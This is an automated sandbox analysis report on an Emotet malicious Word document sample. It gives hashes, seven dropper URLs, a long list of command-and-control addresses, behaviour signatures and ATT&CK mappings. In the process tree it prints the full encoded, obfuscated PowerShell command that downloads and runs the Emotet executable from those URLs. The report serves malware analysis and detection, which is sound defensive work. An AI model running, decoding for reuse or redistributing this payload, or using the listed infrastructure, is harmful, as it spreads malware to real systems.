emotet | a8abdadb9a50a964ec147e5515b3459cb82f0e2f8af29ceac2b10a2b59bf1a7c

General

Target
emotet_e1_a8abdadb9a50a964ec147e5515b3459cb82f0e2f8af29ceac2b10a2b59bf1a7c_2020-10-14__232553633448._doc.doc
Size 131KB
Sample201014-ygakjg4qqa
SHA256 a8abdadb9a50a964ec147e5515b3459cb82f0e2f8af29ceac2b10a2b59bf1a7c
MD5 f9e1df83ba37d7d888ae8291a1b5302a
SHA1 7d60ba333edcb771297a2d951c6352fa6dc20733
SHA512 2f7e71f4bf3721316f8aa9719f922c9156fc6353523cb53877b1479f6cd19fca860171dc98c34bc497d56c6e334d59c68fb551ca9c93538b6df0154934982fee
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://thewisetalks.com/wp-content/7A/
exe.dropper
http://exoticasuvarnasamudra.com/wp-admin/D/
exe.dropper
https://carlostendero.com/wp-admin/m8/
exe.dropper
http://tequilalamalinche.com/css/p/
exe.dropper
http://malditareliquia.com/wp-includes/K/
exe.dropper
http://sfvphotographer.com/battlemetrics-rust/uw/
exe.dropper
http://news.ungheni.org/wp-includes/e/

Extracted

Family

emotet

Botnet

Epoch1

C2

188.157.101.114:80
192.175.111.214:8080
95.85.33.23:8080
192.232.229.54:7080
181.30.61.163:443
186.70.127.199:8090
200.127.14.97:80
70.169.17.134:80
24.232.228.233:80
172.104.169.32:8080
50.28.51.143:8080
177.73.0.98:443
149.202.72.142:7080
37.187.161.206:8080
202.29.239.162:443
213.197.182.158:8080
202.134.4.210:7080
190.24.243.186:80
201.213.177.139:80
105.209.235.113:8080
111.67.12.221:8080
83.169.21.32:7080
216.47.196.104:80
77.238.212.227:80
98.13.75.196:80
181.129.96.162:8080
177.144.130.105:443
128.92.203.42:80
87.106.46.107:8080
177.23.7.151:80
12.162.84.2:8080
190.188.245.242:80
178.211.45.66:8080
45.46.37.97:80
104.131.41.185:8080
50.121.220.50:80
46.43.2.95:8080
137.74.106.111:7080
70.32.115.157:8080
51.15.7.189:80
68.183.170.114:8080
1.226.84.243:8080
74.135.120.91:80
68.183.190.199:8080
5.189.178.202:8080
191.182.6.118:80
190.190.219.184:80
212.71.237.140:8080
138.97.60.140:8080
70.32.84.74:8080
192.81.38.31:80
190.115.18.139:8080
12.163.208.58:80
74.58.215.226:80
178.250.54.208:8080
177.74.228.34:80
35.143.99.174:80
51.38.124.206:80
186.103.141.250:443
5.196.35.138:7080
82.76.111.249:443
219.92.13.25:80
185.183.16.47:80
177.144.130.105:8080
62.84.75.50:80
46.105.114.137:8080
51.255.165.160:8080
60.93.23.51:80
51.15.7.145:80
174.118.202.24:443
191.191.23.135:80
51.75.33.127:80
217.13.106.14:8080
152.169.22.67:80
192.241.143.52:8080
170.81.48.2:80
188.135.15.49:80
189.2.177.210:443
5.89.33.136:80
185.94.252.27:443
185.94.252.12:80
177.129.17.170:443
45.33.77.42:8080
209.236.123.42:8080
85.214.26.7:8080
64.201.88.132:80
46.101.58.37:8080
94.176.234.118:443
138.97.60.141:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1844	640	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3428-12-0x0000000002290000-0x00000000022AF000-memory.dmp	emotet
behavioral2/memory/3428-13-0x00000000022B0000-0x00000000022CE000-memory.dmp	emotet
behavioral2/memory/1732-16-0x0000000000610000-0x000000000062F000-memory.dmp	emotet
behavioral2/memory/1732-17-0x0000000002160000-0x000000000217E000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1844	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3428	Nwiba7xx.exe
1732	MSMPEG2ENC.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\MSPhotography\MSMPEG2ENC.exe	Nwiba7xx.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2176	WINWORD.EXE
2176	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1844	POwersheLL.exe
1844	POwersheLL.exe
1844	POwersheLL.exe
1732	MSMPEG2ENC.exe
1732	MSMPEG2ENC.exe
1732	MSMPEG2ENC.exe
1732	MSMPEG2ENC.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1844	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
2176	WINWORD.EXE
3428	Nwiba7xx.exe
1732	MSMPEG2ENC.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1844 wrote to memory of 3428	1844	POwersheLL.exe	78
PID 1844 wrote to memory of 3428	1844	POwersheLL.exe	78
PID 1844 wrote to memory of 3428	1844	POwersheLL.exe	78
PID 3428 wrote to memory of 1732	3428	Nwiba7xx.exe	81
PID 3428 wrote to memory of 1732	3428	Nwiba7xx.exe	81
PID 3428 wrote to memory of 1732	3428	Nwiba7xx.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a8abdadb9a50a964ec147e5515b3459cb82f0e2f8af29ceac2b10a2b59bf1a7c_2020-10-14__232553633448._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2176

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABTAGkAMAA0AGkAcABlAD0AWwBjAGgAYQByAF0ANAAyADsAJABJADIANABlAG0AMgBrAD0AKAAoACcARQAwACcAKwAnAHkAJwApACsAKAAnAHQAdwAnACsAJwAxACcAKQArACcAMQAnACkAOwAuACgAJwBuAGUAdwAtAGkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABFAG4AdgA6AHUAcwBFAHIAUABSAG8AZgBpAEwAZQBcAEkAZQB1ADUAeQA1AHgAXAB1AHAAXwAyADYANgBvAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwBUAE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAYABSAGkAVAB5AFAAcgBvAGAAVABPAGMAYABPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxACcAKwAnADIALAAgAHQAJwApACsAJwBsACcAKwAnAHMAJwArACgAJwAxADEAJwArACcALAAgAHQAJwApACsAJwBsAHMAJwApADsAJABMAHMAcgBsAHEAOQAyACAAPQAgACgAJwBOAHcAJwArACgAJwBpAGIAYQA3AHgAJwArACcAeAAnACkAKQA7ACQARwB0AGIAOQBhAGkANgA9ACgAKAAnAE8AcQAnACsAJwBzAHcAYQAnACkAKwAnAGUAdwAnACkAOwAkAEIAeABkAHUAZwB1ADEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA1AFgAJwArACcARQAnACkAKwAoACcASQAnACsAJwBlAHUAJwApACsAJwA1ACcAKwAnAHkAJwArACgAJwA1ACcAKwAnAHgANQBYACcAKQArACcARQBVACcAKwAoACcAcAAnACsAJwBfADIANgA2AG8ANQBYACcAKQArACcARQAnACkALgAiAFIARQBwAGAATABgAEEAYwBFACIAKAAoAFsAQwBoAEEAcgBdADUAMwArAFsAQwBoAEEAcgBdADgAOAArAFsAQwBoAEEAcgBdADYAOQApACwAWwBzAFQAcgBpAG4AZwBdAFsAQwBoAEEAcgBdADkAMgApACkAKwAkAEwAcwByAGwAcQA5ADIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABSAHkAMQBnAGQAeABjAD0AKAAnAEoAJwArACgAJwBpAGoAeAAnACsAJwBtACcAKQArACcAbgByACcAKQA7ACQAVQBsAG8AYgBvADAAcAA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgB3AGUAYgBjAGwAaQBlAG4AdAA7ACQAWQBiAGIAagB3ADUAYgA9ACgAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACgAJwAvAC8AdABoACcAKwAnAGUAJwArACcAdwBpACcAKwAnAHMAZQB0ACcAKQArACgAJwBhAGwAJwArACcAawBzAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAdwBwAC0AYwAnACsAJwBvACcAKQArACgAJwBuAHQAJwArACcAZQAnACkAKwAnAG4AdAAnACsAKAAnAC8ANwBBAC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AZQB4ACcAKwAnAG8AJwApACsAJwB0ACcAKwAoACcAaQAnACsAJwBjAGEAJwApACsAKAAnAHMAJwArACcAdQB2ACcAKQArACgAJwBhACcAKwAnAHIAbgBhAHMAJwArACcAYQBtAHUAJwArACcAZAByAGEALgAnACsAJwBjAG8AbQAvAHcAcAAnACkAKwAoACcALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuACcAKwAnAC8ARAAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAJwBjACcAKwAnAGEAcgAnACsAKAAnAGwAbwAnACsAJwBzACcAKQArACgAJwB0ACcAKwAnAGUAbgBkACcAKQArACgAJwBlAHIAbwAuAGMAbwAnACsAJwBtAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACgAJwAtAGEAZABtACcAKwAnAGkAJwApACsAJwBuACcAKwAoACcALwBtADgALwAnACsAJwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAnAHQAcAAnACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwB0AGUAcQAnACsAJwB1AGkAJwApACsAJwBsACcAKwAnAGEAJwArACgAJwBsAGEAJwArACcAbQBhACcAKQArACcAbAAnACsAKAAnAGkAbgBjAGgAZQAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAvAGMAcwAnACkAKwAoACcAcwAnACsAJwAvAHAALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AbQAnACsAJwBhACcAKwAoACcAbABkACcAKwAnAGkAdABhAHIAJwArACcAZQAnACkAKwAnAGwAJwArACgAJwBpAHEAdQBpAGEAJwArACcALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwB3AHAALQAnACsAJwBpACcAKQArACgAJwBuACcAKwAnAGMAbAAnACkAKwAnAHUAJwArACcAZAAnACsAKAAnAGUAcwAnACsAJwAvAEsALwAqAGgAdAAnACsAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AcwBmAHYAcAAnACsAJwBoACcAKwAnAG8AdABvACcAKQArACgAJwBnAHIAYQAnACsAJwBwAGgAJwArACcAZQAnACkAKwAoACcAcgAnACsAJwAuAGMAbwAnACkAKwAnAG0AJwArACcALwBiACcAKwAoACcAYQAnACsAJwB0AHQAJwApACsAKAAnAGwAZQBtACcAKwAnAGUAdAByAGkAYwAnACkAKwAoACcAcwAtACcAKwAnAHIAdQAnACkAKwAoACcAcwAnACsAJwB0AC8AJwApACsAKAAnAHUAJwArACcAdwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBuAGUAJwApACsAKAAnAHcAcwAnACsAJwAuAHUAJwApACsAKAAnAG4AZwBoAGUAJwArACcAbgAnACkAKwAnAGkAJwArACcALgAnACsAJwBvACcAKwAnAHIAJwArACcAZwAvACcAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGkAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZAAnACsAJwBlACcAKQArACgAJwBzACcAKwAnAC8AZQAvACcAKQApAC4AIgBzAFAATABgAEkAVAAiACgAJABTAGkAMAA0AGkAcABlACkAOwAkAEUAagBlAGgAaQAwAGYAPQAoACgAJwBVACcAKwAnAHoAYgAnACkAKwAoACcAawAnACsAJwBpAGEAJwApACsAJwBzACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFYAOABjAG4AMwB1AHQAIABpAG4AIAAkAFkAYgBiAGoAdwA1AGIAKQB7AHQAcgB5AHsAJABVAGwAbwBiAG8AMABwAC4AIgBkAE8AYAB3AG4ATABgAG8AYQBEAGAARgBpAGwARQAiACgAJABWADgAYwBuADMAdQB0ACwAIAAkAEIAeABkAHUAZwB1ADEAKQA7ACQAUQBoAG0AaAA4AHIAMgA9ACgAJwBMACcAKwAoACcAbQB2ACcAKwAnADQAJwApACsAKAAnAF8AJwArACcAaQBzACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEIAeABkAHUAZwB1ADEAKQAuACIAbABgAEUATgBHAGAAVABoACIAIAAtAGcAZQAgADIANAAwADAAMQApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABCAHgAZAB1AGcAdQAxACkAOwAkAEsAcQAyAGEAbwB3ADEAPQAoACgAJwBaAG4AJwArACcAcAB3ACcAKQArACcANAByACcAKwAnAG0AJwApADsAYgByAGUAYQBrADsAJABUAGEAZgBhAGsAaAAxAD0AKAAnAE4AJwArACcAMwAnACsAKAAnADcAbgAnACsAJwBuADEAdQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVgBrADUAdgAzAHIAaQA9ACgAJwBRACcAKwAoACcAegA5AGQAJwArACcAbQAnACkAKwAnADAAeQAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Users\Admin\Ieu5y5x\Up_266o\Nwiba7xx.exe
  "C:\Users\Admin\Ieu5y5x\Up_266o\Nwiba7xx.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3428
- - C:\Windows\SysWOW64\MSPhotography\MSMPEG2ENC.exe
    "C:\Windows\SysWOW64\MSPhotography\MSMPEG2ENC.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1732-17-0x0000000002160000-0x000000000217E000-memory.dmp

Download

memory/1732-16-0x0000000000610000-0x000000000062F000-memory.dmp

Download

memory/1844-6-0x00007FF920DD0000-0x00007FF9217BC000-memory.dmp

Download

memory/1844-7-0x00000138D3450000-0x00000138D3451000-memory.dmp

Download

memory/1844-8-0x00000138D3780000-0x00000138D3781000-memory.dmp

Download

memory/2176-4-0x00000191E1EB0000-0x00000191E1EB5000-memory.dmp

Download

memory/2176-5-0x00000191E2021000-0x00000191E2032000-memory.dmp

Download

memory/2176-0-0x00007FF928660000-0x00007FF928D26000-memory.dmp

Download

memory/2176-3-0x00000191E1EAD000-0x00000191E1EB0000-memory.dmp

Download

memory/2176-2-0x00000191E1EAD000-0x00000191E1EB0000-memory.dmp

Download

memory/2176-1-0x00000191E1EB0000-0x00000191E1EB5000-memory.dmp

Download

memory/3428-12-0x0000000002290000-0x00000000022AF000-memory.dmp

Download

memory/3428-13-0x00000000022B0000-0x00000000022CE000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads